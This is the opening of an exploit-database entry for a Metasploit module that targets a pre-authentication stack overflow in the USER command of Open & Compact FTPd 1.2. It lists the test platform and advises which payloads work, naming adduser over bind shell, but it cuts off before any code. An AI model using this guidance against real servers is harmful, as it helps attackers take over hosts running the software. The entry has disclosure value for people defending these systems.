# Exploit Title: Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow
MSF
# Date: March 14, 2010
# Author: Blake
# Software Link:
http://sourceforge.net/projects/open-ftpd/files/open-ftpd/binairies.1.2/ope
n-ftpd.1.2.tar.gz/download
# Version: 1.2
# Tested on: XP SP3

Exploit causes the ftp server to crash so adduser, etc. payloads are most
effective.

Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the USER verb in
Open & Compact FTPd version 1.2. The program will crash once the payload is
sent, so bind shell payloads are not effective.
